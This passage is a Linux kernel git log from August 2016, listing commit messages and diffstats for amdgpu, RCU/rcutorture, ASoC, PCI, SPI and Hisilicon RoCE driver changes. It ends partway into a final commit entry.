drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 2781 +++++++++++++++++++++++++++ drivers/infiniband/hw/hns/hns_roce_hw_v1.h | 981 ++++++++++ drivers/infiniband/hw/hns/hns_roce_main.c | 1059 ++++++++++ drivers/infiniband/hw/hns/hns_roce_mr.c | 614 ++++++ drivers/infiniband/hw/hns/hns_roce_pd.c | 144 ++ drivers/infiniband/hw/hns/hns_roce_qp.c | 855 ++++++++ drivers/infiniband/hw/hns/hns_roce_user.h | 53 + 18 files changed, 10324 insertions(+) commit 69bafce8077bc3515eb8a1b2ac8f87dd39cf6838 Author: oulijun Date: Thu Jul 21 19:06:37 2016 +0800 devicetree: bindings: IB: Add binding document for Hisilicon RoCE This patch added DTS binding document for Hisilicon RoCE driver. Signed-off-by: Wei Hu Signed-off-by: Lijun Ou Signed-off-by: Doug Ledford .../bindings/infiniband/hisilicon-hns-roce.txt | 107 +++++++++++++++++++++ 1 file changed, 107 insertions(+) commit f918e1697b1a8f2f26a4813db053cfbcafc48046 Author: Mengdong Lin Date: Fri Aug 19 18:12:46 2016 +0800 ASoC: topology: ABI - Add sig_bits to stream caps Kernel struct snd_soc_pcm_stream, SoC PCM stream information, needs this field. Although current topology users don't configure this, we define it for future extension. Signed-off-by: Mengdong Lin Signed-off-by: Mark Brown include/uapi/sound/asoc.h | 1 + sound/soc/soc-topology.c | 1 + 2 files changed, 2 insertions(+) commit dfaf2291ab6073e33068eabaa3f3d6b8632bc81c Author: Alexandre Demers Date: Sun Aug 21 20:38:41 2016 -0400 drm/amdgpu: Use correct mask in dce_v8_0_afmt_setmode() and fix comment typos. We were using the same mask twice. Looking at radeon, it seems we should be using HDMI_AVI_INFO_CONT instead as the second mask. Being there, fix typos in comments and improved readability. I haven't looked at other DCEs, the mask may also be wrong for them. Reviewed-by: Edward O'Callaghan Reviewed-by: Christian König Signed-off-by: Alexandre Demers Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v8_0.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 99e124f402d6d649498e2aa3cbcf4563a37fea0e Author: Christian König Date: Tue Aug 16 14:43:17 2016 +0200 drm/amdgpu: cleanup amdgpu_vm_bo_update params Make it more obvious what we are doing here. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 2 +- drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 2 +- drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 21 +++++++++++---------- 3 files changed, 13 insertions(+), 12 deletions(-) commit 6369f6f133f8388dbb9aa4040b06c5ac32a2fe8b Author: Christian König Date: Mon Aug 15 14:08:54 2016 +0200 drm/amdgpu: stop adding dummy entry in amdgpu_ttm_placement_init AMDGPU_GEM_CREATE_NO_CPU_ACCESS and AMDGPU_GEM_CREATE_CPU_ACCESS_REQUIRED are obviously mutual exclusive. So stop adding a dummy entry without effect when both are specified. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit faceaf6a731110f6b3c1a57f897a613d720d2156 Author: Christian König Date: Mon Aug 15 14:06:50 2016 +0200 drm/amdgpu: cleanup amdgpu_ttm_placement_init Make it more clear what this function does. No intendet functional change. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 112 +++++++++++++++-------------- 1 file changed, 60 insertions(+), 52 deletions(-) commit 1fdc0b76ea9b6f6a50aa76b7cb7a025f87c1319d Author: Christian König Date: Wed Aug 17 13:44:20 2016 +0200 drm/amdgpu: fix lru size grouping v2 Adding a BO can make it the insertion point for larger sizes as well. v2: add a comment about the guard structure. Signed-off-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Felix Kuehling Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 8 ++++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.h | 2 ++ 2 files changed, 10 insertions(+) commit 8cc5e80641ed5e3973bd44c170529a756742e990 Author: Tom St Denis Date: Thu Aug 18 10:25:52 2016 -0400 drm/amd/powerplay: Tidy up cz_hwmgr.c Clean up whitespace and formatting. Signed-off-by: Tom St Denis Reviewed-by: Edward O'Callaghan Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/cz_hwmgr.c | 53 +++++++------------------- 1 file changed, 13 insertions(+), 40 deletions(-) commit 83a59b6338c71425f3159fc9ab31380f237af733 Author: Marek Olšák Date: Wed Aug 17 23:58:58 2016 +0200 drm/amdgpu: add AMDGPU_INFO_NUM_EVICTIONS For profiling. v2: really bump the minor version Signed-off-by: Marek Olšák Reviewed-by: Christian König Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 3 ++- drivers/gpu/drm/amd/amdgpu/amdgpu_kms.c | 3 +++ include/uapi/drm/amdgpu_drm.h | 2 ++ 3 files changed, 7 insertions(+), 1 deletion(-) commit 53cdccd5200f5051460e778be11cc371474bc3b5 Author: Chunming Zhou Date: Thu Jul 21 17:20:52 2016 +0800 drm/amdgpu: recover vram bo from shadow after gpu reset V2 V2: 1. don't directly submit to many jobs at the same time. 2. delete unrelated printk. Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 62 ++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) commit 0c4e7fa56112b0eaef0bf88b569608620e0465b8 Author: Chunming Zhou Date: Wed Aug 17 11:41:30 2016 +0800 drm/amdgpu: link all shadow bo V2 V2: 1. use mutex instead of spinlock for shadow list, since its process could sleep. 2. move list_del to bo destroy phase. Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 5 +++++ drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 3 +++ drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 12 +++++++++++- 3 files changed, 19 insertions(+), 1 deletion(-) commit 4c7e885506eaefc55c2b45293b52cae9ef797d67 Author: Chunming Zhou Date: Mon Aug 15 11:46:21 2016 +0800 drm/amdgpu: update pt shadow while updating pt V2 V2: move shadow parameter to amdgpu_pte_update_params. Signed-off-by: Chunming Zhou Reviewed-by: Christian König Cc: minutemaidpark@hotmail.com Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) commit 6557e3d29469157f18342cd47e05792271e64e7c Author: Chunming Zhou Date: Mon Aug 15 11:36:54 2016 +0800 drm/amdgpu: update pd shadow while updating pd V2 V2: Checking if shadow is valid. Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 60 +++++++++++++++++++++++----------- 2 files changed, 42 insertions(+), 19 deletions(-) commit 20f4eff1c8ba344d5c22234ac5611ff1489fbea6 Author: Chunming Zhou Date: Thu Aug 4 16:51:18 2016 +0800 drm/amdgpu: sync bo and shadow V3 Use shadow flag to judge which direction to sync. V2: Don't need bo pin, so remove it. V3: 1. Split to two functions, one is backup_to_shadow, another is restore_from_shadow. 2. Clean up previous shadow direction difinitions. Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 8 ---- drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 64 ++++++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_object.h | 12 ++++++ 3 files changed, 76 insertions(+), 8 deletions(-) commit e24db98529ab90387b4603ce580b04f7ad152e8a Author: Chunming Zhou Date: Mon Aug 15 10:46:04 2016 +0800 drm/amdgpu: add direct submision option for copy_buffer Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_benchmark.c | 3 ++- drivers/gpu/drm/amd/amdgpu/amdgpu_test.c | 4 ++-- drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 23 ++++++++++++++++------- drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.h | 2 +- 4 files changed, 21 insertions(+), 11 deletions(-) commit 33ece7f9c8e8a2abfcca681ec9424b15271f7afb Author: Shreyas NC Date: Fri Aug 12 12:29:52 2016 +0530 ASoC: Intel: Skylake: Remove dfw config and associated structures The skl_dfw_config structure is no longer required as the module config is populated by parsing and reading the token values. So, remove the structure. Signed-off-by: Shreyas NC Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-sst-utils.c | 5 -- sound/soc/intel/skylake/skl-tplg-interface.h | 73 ---------------------------- 2 files changed, 78 deletions(-) commit 6277e83292a2d4d88d150c0eb3004bd714ad8728 Author: Shreyas NC Date: Fri Aug 12 12:29:51 2016 +0530 ASoC: Intel: Skylake: Parse vendor tokens to build module data Skl topology data is preceded by a descriptor for number of data blocks, the size of the data block and type of data block. The type of the data block can be either a tuple or a binary blob. Private data is parsed based on data block type and module data is filled accordingly. Signed-off-by: Shreyas NC Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-topology.c | 645 ++++++++++++++++++++++----- sound/soc/intel/skylake/skl-tplg-interface.h | 10 + 2 files changed, 545 insertions(+), 110 deletions(-) commit 15f0d4f531d84015511dbdc2512e5a77c0173d49 Author: Shreyas NC Date: Fri Aug 12 12:29:50 2016 +0530 ASoC: uapi: Intel: Skylake: Define vendor specific tokens With recent topology changes in alsa-lib, driver data for modules can now be passed in topology conf file using tuples. This patch defines vendor specific tokens to describe private data with tuples. The allowed token types are UUID, string, bool, byte, short and word. These tokens will be referenced by the vendor tuples in the conf file. In the topology conf file, multiple data blocks can be defined for a widget which can be either tuple vendor array or blob. So, each data block will be preceded by a descriptor to identify size and type of block. These descriptors will be token value pairs. Tokens for module_id and loadable flag are not defined as these are read from the DSP FW manifest. Signed-off-by: Shreyas NC Signed-off-by: Vinod Koul Signed-off-by: Mark Brown include/uapi/sound/Kbuild | 1 + include/uapi/sound/snd_sst_tokens.h | 208 ++++++++++++++++++++++++++++++++++++ 2 files changed, 209 insertions(+) commit 4e6c2d58ba8649a6b505fc1461ccdedc583c3e36 Author: Chris Wilson Date: Fri Aug 19 17:45:02 2016 +0100 drm/i915: Take forcewake once for the entire GMBUS transaction As we do many register reads within a very short period of time, hold the GMBUS powerwell from start to finish. Signed-off-by: Chris Wilson Cc: David Weinehall Link: http://patchwork.freedesktop.org/patch/msgid/20160819164503.17845-1-chris@chris-wilson.co.uk Reviewed-by: David Weinehall drivers/gpu/drm/i915/intel_i2c.c | 131 +++++++++++++++++++-------------------- 1 file changed, 63 insertions(+), 68 deletions(-) commit fe48cb8538421fbd16ecf8bf95829faf8d8c001e Author: Pratyush Anand Date: Mon Jul 4 21:44:42 2016 +0530 PCI: designware: Keep viewport fixed for IO transaction if num_viewport > 2 Most of the platforms have 3 or more viewports. For such platforms, We do not need to share viewports between IO and CFG. Assign viewport 2 to IO transactions in such cases. Tested-by: Dong Bo Signed-off-by: Pratyush Anand Signed-off-by: Bjorn Helgaas Acked-by: Rob Herring .../devicetree/bindings/pci/designware-pcie.txt | 3 +++ drivers/pci/host/pcie-designware.c | 26 ++++++++++++++++------ drivers/pci/host/pcie-designware.h | 1 + 3 files changed, 23 insertions(+), 7 deletions(-) commit e180f887ba40a916153e29e6ad48c34d28966740 Author: Henry Chen Date: Wed Jul 13 11:34:28 2016 +0800 soc: mediatek: PMIC wrap: Extend the waiting time to 10ms. Read data fails sometimes because of a timeout that PMIC cannot transfer data to PMIC wrap on time, extend the waiting time to 10ms to reduce the failed rate. Signed-off-by: Henry Chen Signed-off-by: Matthias Brugger drivers/soc/mediatek/mtk-pmic-wrap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7475e27b45554d350f6a28edc8d0bfcf13f801c4 Author: Philipp Zabel Date: Thu Aug 11 12:00:00 2016 +0200 arm64: dts: mt8173-evb: enable HDMI output Add an HDMI connector node and enable the devices that are part of the HDMI display path: cec, dpi0, hdmi_phy, and hdmi0. Signed-off-by: Philipp Zabel Signed-off-by: Matthias Brugger arch/arm64/boot/dts/mediatek/mt8173-evb.dts | 38 +++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) commit a10b57f44a659a073b0e4f982ca205bed9e913fc Author: CK Hu Date: Thu Aug 11 11:59:59 2016 +0200 arm64: dts: mt8173: Add HDMI related nodes This patch adds the device nodes for the HDMI encoder, HDMI PHY, and HDMI CEC modules. Signed-off-by: CK Hu Signed-off-by: Cawa Cheng Signed-off-by: Jie Qiu Signed-off-by: Daniel Kurtz Signed-off-by: Philipp Zabel Signed-off-by: Matthias Brugger arch/arm64/boot/dts/mediatek/mt8173.dtsi | 77 ++++++++++++++++++++++++++++++++ 1 file changed, 77 insertions(+) commit 489bb3d252d41392ce52590e49f0ae8782fb016e Author: SeongJae Park Date: Sun Aug 21 16:54:40 2016 +0900 torture: TOROUT_STRING(): Insert a space between flag and message The TOROUT_STRING() macro does not insert a space between the flag and the message. In contrast, other similar torture-test dmesg messages consistently supply a single space character. This difference makes the output hard to read and to mechanically parse. This commit therefore adds a space character between flag and message in TOROUT_STRING() output. Signed-off-by: SeongJae Park Signed-off-by: Paul E. McKenney include/linux/torture.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a56fefa2605cf8e125ef09451487f30336128028 Author: SeongJae Park Date: Sun Aug 21 16:54:39 2016 +0900 rcuperf: Consistently insert space between flag and message A few rcuperf dmesg output messages have no space between the flag and the start of the message. In contrast, every other messages consistently supplies a single space. This difference makes rcuperf dmesg output hard to read and to mechanically parse. This commit therefore fixes this problem by modifying a pr_alert() call and PERFOUT_STRING() macro function to provide that single space. Signed-off-by: SeongJae Park Signed-off-by: Paul E. McKenney kernel/rcu/rcuperf.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 472213a675e21185416101a77102253f93713fa9 Author: SeongJae Park Date: Sat Aug 13 15:54:35 2016 +0900 rcutorture: Print out barrier error as document says Tests for rcu_barrier() were introduced by commit fae4b54f28f0 ("rcu: Introduce rcutorture testing for rcu_barrier()"). This commit updated the documentation to say that the "rtbe" field in rcutorture's dmesg output indicates test failure. However, the code was not updated, only the documentation. This commit therefore updates the code to match the updated documentation. Signed-off-by: SeongJae Park Signed-off-by: Paul E. McKenney kernel/rcu/rcutorture.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 4ffa66992476c94d8b4d33b2c792d336a400ada2 Author: Paul E. McKenney Date: Thu Jun 30 11:56:38 2016 -0700 torture: Add task state to writer-task stall printk()s This commit adds a dump of the scheduler state for stalled rcutorture writer tasks. This addition provides yet more debug for the intermittent "failures to proceed", where grace periods move ahead but the rcutorture writer tasks fail to do so. Signed-off-by: Paul E. McKenney kernel/rcu/rcutorture.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 31257c3c8b7307f106d67345755d937cb5fb8bd4 Author: Paul E. McKenney Date: Sat Jun 18 07:45:43 2016 -0700 torture: Convert torture_shutdown() to hrtimer Upcoming changes to the timer wheel introduce significant inaccuracy and possibly also an ultimate limit on timeout duration. This is a problem for the current implementation of torture_shutdown() because (1) shutdown times are user-specified, and can therefore be quite long, and (2) the torture scripting will kill a test instance that runs for more than a few minutes longer than scheduled. This commit therefore converts the torture_shutdown() timed waits to an hrtimer, thus avoiding too-short torture test runs as well as death by scripting. Signed-off-by: Paul E. McKenney Acked-by: Arnd Bergmann kernel/torture.c | 27 +++++++++++++-------------- 1 file changed, 13 insertions(+), 14 deletions(-) commit 8b7c8b46f111ae56df4fd196fcb0fd2495f3b966 Author: Keith Busch Date: Wed Aug 3 17:29:45 2016 -0600 PCI: pciehp: Clear attention LED on device add Clear the LED attention status after a successful device add. It is possible the attention LED was on from a previous power fault or link failure, and a subsequent successful device insert insertion should clear it. Signed-off-by: Keith Busch Signed-off-by: Bjorn Helgaas drivers/pci/hotplug/pciehp_ctrl.c | 1 + 1 file changed, 1 insertion(+) commit 0ffd374b2207a1a0cba9f2dbcc799198482391d5 Author: Sebastian Andrzej Siewior Date: Thu Aug 18 14:57:22 2016 +0200 rcutorture: Convert to hotplug state machine Install the callbacks via the state machine and let the core invoke the callbacks on the already online CPUs. Cc: Josh Triplett Cc: "Paul E. McKenney" Cc: Steven Rostedt Cc: Mathieu Desnoyers Cc: Lai Jiangshan Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Paul E. McKenney kernel/rcu/rcutorture.c | 52 +++++++++++++------------------------------------ 1 file changed, 14 insertions(+), 38 deletions(-) commit 0c6d4576c45736f829dc3390ac95181b2ed21bc7 Author: Sebastian Andrzej Siewior Date: Wed Aug 17 14:21:04 2016 +0200 cpu/hotplug: Get rid of CPU_STARTING reference CPU_STARTING is scheduled for removal. There is no use of it in drivers and core code uses it only for compatibility with old-style CPU-hotplug notifiers. This patch removes therefore removes CPU_STARTING from an RCU-related comment. Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Paul E. McKenney kernel/cpu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b6970b48e384a602bdb9d6246cded83e150d4660 Author: John Hsu Date: Fri Aug 19 17:24:52 2016 +0800 ASoC: nau8810: Add driver for Nuvoton codec chip NAU88C10 The driver is for codec NAU88C10 of Nuvoton Technology Corporation. Signed-off-by: John Hsu Signed-off-by: Mark Brown .../devicetree/bindings/sound/nau8810.txt | 16 + sound/soc/codecs/Kconfig | 5 + sound/soc/codecs/Makefile | 2 + sound/soc/codecs/nau8810.c | 884 +++++++++++++++++++++ sound/soc/codecs/nau8810.h | 281 +++++++ 5 files changed, 1188 insertions(+) commit 6999aeabbb703a81a204cb6f9f8f151759a99ac4 Author: Wei Yongjun Date: Sat Aug 20 15:25:32 2016 +0000 spi: spi-fsl-dspi: Drop extra spi_master_put in device remove function The call sequence spi_alloc_master/spi_register_master/spi_unregister_master is complete; it reduces the device reference count to zero, which and results in device memory being freed. The subsequent call to spi_master_put is unnecessary and results in an access to free memory. Drop it. Fixes: 9298bc727385 ("spi: spi-fsl-dspi: Remove spi-bitbang") Signed-off-by: Wei Yongjun Signed-off-by: Mark Brown drivers/spi/spi-fsl-dspi.c | 1 - 1 file changed, 1 deletion(-) commit 7ec99de36f402618ae44147ac7fa9a07e4757a5f Author: Paul E. McKenney Date: Thu Jun 30 13:58:26 2016 -0700 rcu: Provide exact CPU-online tracking for RCU Up to now, RCU has assumed that the CPU-online process makes it from CPU_UP_PREPARE to set_cpu_online() within one jiffy. Given the recent rise of virtualized environments, this assumption is very clearly obsolete. Failing to meet this deadline can result in RCU paying attention to an incoming CPU for one jiffy, then ignoring it until the grace period following the one in which that CPU sets itself online. This situation might prove to be fatally disappointing to any RCU read-side critical sections that had the misfortune to execute during the time in which RCU was ignoring the slow-to-come-online CPU. This commit therefore updates RCU's internal CPU state-tracking information at notify_cpu_starting() time, thus providing RCU with an exact transition of the CPU's state from offline to online. Note that this means that incoming CPUs must not use RCU read-side critical section (other than those of SRCU) until notify_cpu_starting() time. Note also that the CPU_STARTING notifiers -are- allowed to use RCU read-side critical sections. (Of course, CPU-hotplug notifiers are rapidly becoming obsolete, so you need to act fast!) If a given architecture or CPU family needs to use RCU read-side critical sections earlier, the call to rcu_cpu_starting() from notify_cpu_starting() will need to be architecture-specific, with architectures that need early use being required to hand-place the call to rcu_cpu_starting() at some point preceding the call to notify_cpu_starting(). Signed-off-by: Paul E. McKenney include/linux/rcupdate.h | 1 + kernel/cpu.c | 1 + kernel/rcu/tree.c | 32 +++++++++++++++++++++++++++++--- 3 files changed, 31 insertions(+), 3 deletions(-) commit 3563a438f124cb0b8cfd350c86de2f26c63d8837 Author: Paul E. McKenney Date: Thu Jul 28 09:39:11 2016 -0700 rcu: Avoid redundant quiescent-state chasing Currently, __note_gp_changes() checks to see if the CPU has slept through multiple grace periods. If it has, it resynchronizes that CPU's view of the grace-period state, which includes whether or not the current grace period needs a quiescent state from this CPU. The fact of this need (or lack thereof) needs to be in two places, rdp->cpu_no_qs.b.norm and rdp->core_needs_qs. The former tells RCU's context-switch code to go get a quiescent state and the latter says that it needs to be reported. The current code unconditionally sets the former to true, but correctly sets the latter. This does not result in failures, but it does unnecessarily increase the amount of work done on average at context-switch time. This commit therefore correctly sets both fields. Signed-off-by: Paul E. McKenney kernel/rcu/tree.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit e77b7041258e11ba198951553d3acf1e371a9053 Author: Paul Gortmaker Date: Fri Jul 15 12:19:41 2016 -0400 rcu: Don't use modular infrastructure in non-modular code The Kconfig currently controlling compilation of tree.c is: init/Kconfig:config TREE_RCU init/Kconfig: bool ...and update.c and sync.c are "obj-y" meaning that none are ever built as a module by anyone. Since MODULE_ALIAS is a no-op for non-modular code, we can remove them from these files. We leave moduleparam.h behind since the files instantiate some boot time configuration parameters with module_param() still. Cc: "Paul E. McKenney" Cc: Josh Triplett Cc: Steven Rostedt Cc: Mathieu Desnoyers Cc: Lai Jiangshan Signed-off-by: Paul Gortmaker Signed-off-by: Paul E. McKenney kernel/rcu/tree.c | 2 -- kernel/rcu/update.c | 3 +-- 2 files changed, 1 insertion(+), 4 deletions(-) commit 379d9ecb3cc9d5d043216185904c00e54c736a96 Author: Paul E. McKenney Date: Thu Jun 30 10:37:20 2016 -0700 sched: Make wake_up_nohz_cpu() handle CPUs going offline Both timers and hrtimers are maintained on the outgoing CPU until CPU_DEAD time, at which point they are migrated to a surviving CPU. If a mod_timer() executes between CPU_DYING and CPU_DEAD time, x86 systems will splat in native_smp_send_reschedule() when attempting to wake up the just-now-offlined CPU, as shown below from a NO_HZ_FULL kernel: [ 7976.741556] WARNING: CPU: 0 PID: 661 at /home/paulmck/public_git/linux-rcu/arch/x86/kernel/smp.c:125 native_smp_send_reschedule+0x39/0x40 [ 7976.741595] Modules linked in: [ 7976.741595] CPU: 0 PID: 661 Comm: rcu_torture_rea Not tainted 4.7.0-rc2+ #1 [ 7976.741595] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 [ 7976.741595] 0000000000000000 ffff88000002fcc8 ffffffff8138ab2e 0000000000000000 [ 7976.741595] 0000000000000000 ffff88000002fd08 ffffffff8105cabc 0000007d1fd0ee18 [ 7976.741595] 0000000000000001 ffff88001fd16d40 ffff88001fd0ee00 ffff88001fd0ee00 [ 7976.741595] Call Trace: [ 7976.741595] [] dump_stack+0x67/0x99 [ 7976.741595] [] __warn+0xcc/0xf0 [ 7976.741595] [] warn_slowpath_null+0x18/0x20 [ 7976.741595] [] native_smp_send_reschedule+0x39/0x40 [ 7976.741595] [] wake_up_nohz_cpu+0x82/0x190 [ 7976.741595] [] internal_add_timer+0x7a/0x80 [ 7976.741595] [] mod_timer+0x187/0x2b0 [ 7976.741595] [] rcu_torture_reader+0x33d/0x380 [ 7976.741595] [] ? sched_torture_read_unlock+0x30/0x30 [ 7976.741595] [] ? rcu_bh_torture_read_lock+0x80/0x80 [ 7976.741595] [] kthread+0xdf/0x100 [ 7976.741595] [] ret_from_fork+0x1f/0x40 [ 7976.741595] [] ? kthread_create_on_node+0x200/0x200 However, in this case, the wakeup is redundant, because the timer migration will reprogram timer hardware as needed. Note that the fact that preemption is disabled does not avoid the splat, as the offline operation has already passed both the synchronize_sched() and the stop_machine() that would be blocked by disabled preemption. This commit therefore modifies wake_up_nohz_cpu() to avoid attempting to wake up offline CPUs. It also adds a comment stating that the caller must tolerate lost wakeups when the target CPU is going offline, and suggesting the CPU_DEAD notifier as a recovery mechanism. Signed-off-by: Paul E. McKenney Cc: Peter Zijlstra Cc: Frederic Weisbecker Cc: Thomas Gleixner kernel/sched/core.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 94d44776737266eccafee32b985fe31fd5e021ca Author: Jisheng Zhang Date: Wed Jun 22 17:19:27 2016 +0800 rcu: Use rcu_gp_kthread_wake() to wake up grace period kthreads Commit abedf8e2419f ("rcu: Use simple wait queues where possible in rcutree") converts Tree RCU's wait queues to simple wait queues, but it incorrectly reverts the commit 2aa792e6faf1 ("rcu: Use rcu_gp_kthread_wake() to wake up grace period kthreads"). This can result in redundant self-wakeups. This commit therefore replaces the simple wait-queue wakeups with rcu_gp_kthread_wake(), thus avoiding the redundant wakeups. Signed-off-by: Jisheng Zhang Signed-off-by: Paul E. McKenney kernel/rcu/tree.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1c5ea2b4de22434b9da9c33640f47458ba093dea Author: Fabio Estevam Date: Sun Aug 21 23:05:30 2016 -0300 spi: spi-fsl-dspi: Check clk_prepare_enable() error clk_prepare_enable() may fail, so we should better check its return value and propagate it in the case of failure. Signed-off-by: Fabio Estevam Signed-off-by: Mark Brown drivers/spi/spi-fsl-dspi.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 3b063496f0dc8eb5bf9c73ee72f9fb42157581ff Author: Sebastiaan Schalbroeck Date: Mon Aug 22 18:23:14 2016 +0200 regulator: Kconfig: Fix typo Fix typo in regulator Kconfig for the TPS80031 tristate string (trivial) Signed-off-by: Sebastiaan Schalbroeck Signed-off-by: Mark Brown drivers/regulator/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 385c859f678e8ee6b0b122086f34e72a0e861cef Author: Paul E. McKenney Date: Thu Jun 30 12:16:11 2016 -0700 rcu: Use RCU's online-CPU state for expedited IPI retry This commit improves the accuracy of the interaction between CPU hotplug operations and RCU's expedited grace periods by using RCU's online-CPU state to determine when failed IPIs should be retried. Signed-off-by: Paul E. McKenney kernel/rcu/tree_exp.h | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 98834b83785e1388fa8672cf4f8de09974d15e86 Author: Paul E. McKenney Date: Wed Jun 29 17:04:19 2016 -0700 rcu: Exclude RCU-offline CPUs from expedited grace periods The expedited RCU grace periods currently rely on a failure indication from smp_call_function_single() to determine that a given CPU is offline. This works after a fashion, but is more contorted and less precise than relying on RCU's internal state. This commit therefore takes a first step towards relying on internal state. Signed-off-by: Paul E. McKenney kernel/rcu/tree_exp.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 24a6cff286030b98149ff10b968cba31280fcb7a Author: Paul E. McKenney Date: Wed Jun 29 14:49:29 2016 -0700 rcu: Make expedited RCU CPU stall warnings respond to controls The expedited RCU CPU stall warnings currently responds to neither the panic_on_rcu_stall sysctl setting nor the rcupdate.rcu_cpu_stall_suppress kernel boot parameter. This commit therefore updates the expedited code to respond to these two controls. Signed-off-by: Paul E. McKenney kernel/rcu/tree_exp.h | 3 +++ 1 file changed, 3 insertions(+) commit 908d2c1fd156d414008e1b7e1fb5a7716e013231 Author: Paul E. McKenney Date: Wed Jun 29 14:34:59 2016 -0700 rcu: Stop disabling expedited RCU CPU stall warnings Now that RCU expedited grace periods are always driven by a workqueue, there is no need to account for signal reception, and thus no need to disable expedited RCU CPU stall warnings due to signal reception. This commit therefore removes the signal-reception checks, leaving a WARN_ON() to catch possible future bugs. Signed-off-by: Paul E. McKenney kernel/rcu/tree_exp.h | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 8b355e3bc1408be238ae4695fb6318ae502cae8e Author: Paul E. McKenney Date: Wed Jun 29 13:46:25 2016 -0700 rcu: Drive expedited grace periods from workqueue The current implementation of expedited grace periods has the user task drive the grace period. This works, but has downsides: (1) The user task must awaken tasks piggybacking on this grace period, which can result in latencies rivaling that of the grace period itself, and (2) User tasks can receive signals, which interfere with RCU CPU stall warnings. This commit therefore uses workqueues to drive the grace periods, so that the user task need not do the awakening. A subsequent commit will remove the now-unnecessary code allowing for signals. Signed-off-by: Paul E. McKenney kernel/rcu/tree.h | 1 + kernel/rcu/tree_exp.h | 48 ++++++++++++++++++++++++++++++++++++++++++------ kernel/rcu/tree_trace.c | 7 ++++--- 3 files changed, 47 insertions(+), 9 deletions(-) commit f7b8eb847e35b18d3ec333774691a905bf16017f Author: Paul E. McKenney Date: Fri Jun 24 11:30:32 2016 -0700 rcu: Consolidate expedited grace period machinery The functions synchronize_rcu_expedited() and synchronize_sched_expedited() have nearly identical code. This commit therefore consolidates this code into a new _synchronize_rcu_expedited() function. Signed-off-by: Paul E. McKenney kernel/rcu/tree_exp.h | 62 ++++++++++++++++++++++++--------------------------- 1 file changed, 29 insertions(+), 33 deletions(-) commit ed2bec07fd1aa47f1c06be92c164c13c70fb7a45 Author: Paul E. McKenney Date: Tue Aug 9 21:15:15 2016 -0700 documentation: Record reason for rcu_head two-byte alignment There is an assertion in __call_rcu() that checks only the bottom bit of the rcu_head pointer, rather than the bottom two (as might be expected for 32-bit systems) or the bottom three (as might be expected for 64-bit systems). This choice might be a bit surprising in these days of ubiquitous 32-bit and 64-bit systems. This commit therefore records the reason for this odd alignment check, namely that m68k guarantees only two-byte alignment despite being a 32-bit architectures. Signed-off-by: Paul E. McKenney .../RCU/Design/Requirements/Requirements.html | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) commit e1ef69217f68b8407245e9e353cf88cc2f9ebc18 Author: SeongJae Park Date: Mon Jun 20 07:51:22 2016 +0900 rcutorture: Remove outdated config option description 